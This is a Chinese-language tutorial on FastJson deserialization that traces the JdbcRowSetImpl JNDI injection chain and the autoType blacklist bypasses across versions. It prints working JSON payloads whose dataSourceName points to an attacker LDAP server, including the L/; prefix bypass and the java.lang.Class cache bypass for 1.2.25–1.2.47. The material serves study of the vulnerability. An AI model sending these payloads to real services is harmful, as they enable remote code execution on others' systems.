JavaEE开发篇&FastJson反序列化&利用链跟踪&动态调试&autoType绕过
#FastJson反序列化链知识点
1、为什么触发方法会存在反序列化?
2、利用链为什么要那样写才能触发?
3、高版本中有哪些防御手段又怎么绕过的?
#FastJson反序列化链分析
基础参考:
https://xz.aliyun.com/t/12728
https://mp.weixin.qq.com/s/SOKLC_No0hV9RhAavF2hcw
1.2.24及以下没有对序列化的类做校验,导致漏洞产生
1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
1.2.72-1.2.80使用期望类Throwable的子类,进行绕过
#FastJson 1.2.24 利用链分析
0、JNDI注入实例
new InitialContext().lookup("ldap://192.168.139.1:1389/nppckz");
InitialContext var1 = new InitialContext();
DataSource lookup = (DataSource) var1.lookup("ldap://192.168.139.1:1389/nppckz");
1、正常解析数据
String jsonStr = "{\"name\":\"xiaodisec\",\"age\":31}";
JSONObject data = JSON.parseObject(jsonStr);
System.out.println(data);
2、加入User类解析
结论:传入其他类解析后默认执行set get类方法
String userStr = "{\"@type\":\"com.example.fastjson001.demos.web.User\",\"age\":22,\"name\":\"xiaodi\"}";
JSONObject data = JSON.parseObject(userStr);
System.out.println(data);
3、加入执行命令解析
结论:FastJson支持@type语法对应类操作
String testStr = "{\"@type\":\"com.example.fastjson001.demos.web.Test\",\"cmd\":\"calc\"}";
JSONObject data = JSON.parseObject(testStr);
System.out.println(data);
4、加入Poc类解析
结论:JdbcRowSetImpl类解析后执行setDataSourceName setAutoCommit方法
注:控制dataSourceName值后调setAutoCommit触发connect里面的lookup
String Pocstr = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.139.1:1389/nppckz\", \"autoCommit\":true}\n";
JSONObject data = JSON.parseObject(Pocstr);
System.out.println(data);
CC链大致关键流程:
parseObject->parse->key(@type)->TypeUtils.loadClass->ObjectDeserializer(反序列化)->
JdbcRowSetImpl->setDataSourceName->dataSource->setAutoCommit->connect->lookup(JNDI注入)
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
"autoCommit":true
}
#FastJson 1.2.25-1.2.47 CC链分析
autoTypeSupport 默认关闭
1、开启autoTypeSupport:1.2.25-1.2.41
条件:1、开启 2、加L和;才能成功
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
testStr={"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.139.1:1389/lvkr9r", "autoCommit":1}
CC链大致关键流程:(绕过黑名单前加"L"和后加";")
checkAutoType->denyList[i]->this.config.getDeserializer(clazz)->loadClass->newClassName
从1.2.41说起。在checkAutotype()函数中,会先检查传入的@type的值是否是在黑名单里,如果要反序列化的类不在黑名单中,那么才会对其进行反序列化。问题来了,在反序列化前,会经过loadClass()函数进行处理,其中一个处理方法是:在加载类的时候会去掉className前后的L和;。所以,如果我们传入Lcom.sun.rowset.JdbcRowSetImpl;,在经过黑白名单后,在加载类时会去掉前后的L和;,就变成了com.sun.rowset.JdbcRowSetImpl,反序列化了恶意类。
更新了1.2.42,方法是先判断反序列化目标类的类名前后是不是L和;,如果是,那么先去掉L和;,再进行黑白名单校验(偷懒qaq)。关于1.2.42绕过非常简单,只需要双写L和;,就可以在第一步去掉L和;后,与1.2.41相同。
更新也非常随意,在1.2.43中,黑白名单判断前,又增加了一个是否以LL开头的判断,如果以LL开头,那么就直接抛异常,非常随意解决了双写的问题。但是除了L和;,FastJson在加载类的时候,不只对L和;这样的类进行特殊处理,[也对特殊处理了,所以,同样的方式在前面添加[绕过了1.2.43及之前的补丁。
在1.2.44中,黑客们烦不烦,来了个狠的:只要你以[开头或者;结尾,我直接抛一个异常。如此,终于解决了缠绵多个版本的漏洞。
2、通杀方案:1.2.25-1.2.47(checkAutotype绕过)
testStr={
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.139.1:1389/lvkr9r",
"autoCommit":true
}
}
CC链大致关键流程:
FastJson有一个全局缓存机制:在解析json数据前会先加载相关配置,调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中(mappings是ConcurrentMap类,所以我们在一次连接中传入两个键值a和b,之后在解析时,如果没有开启autotype,会从mappings或deserializers.findClass()函数中获取反序列化的对应类,如果有,则直接返回绕过了黑名单。利用的是java.lang.Class类,其反序列化处理类MiscCodec类可以将任意类加载到mappings中,实现了目标。
第一步利用java.lang.Class将恶意类加载到mappings中;
第二步从在checkAutoType内部,没有开启autotype,直接从mappings中获取mappings中取出恶意类并绕过黑名单进行了反序列化。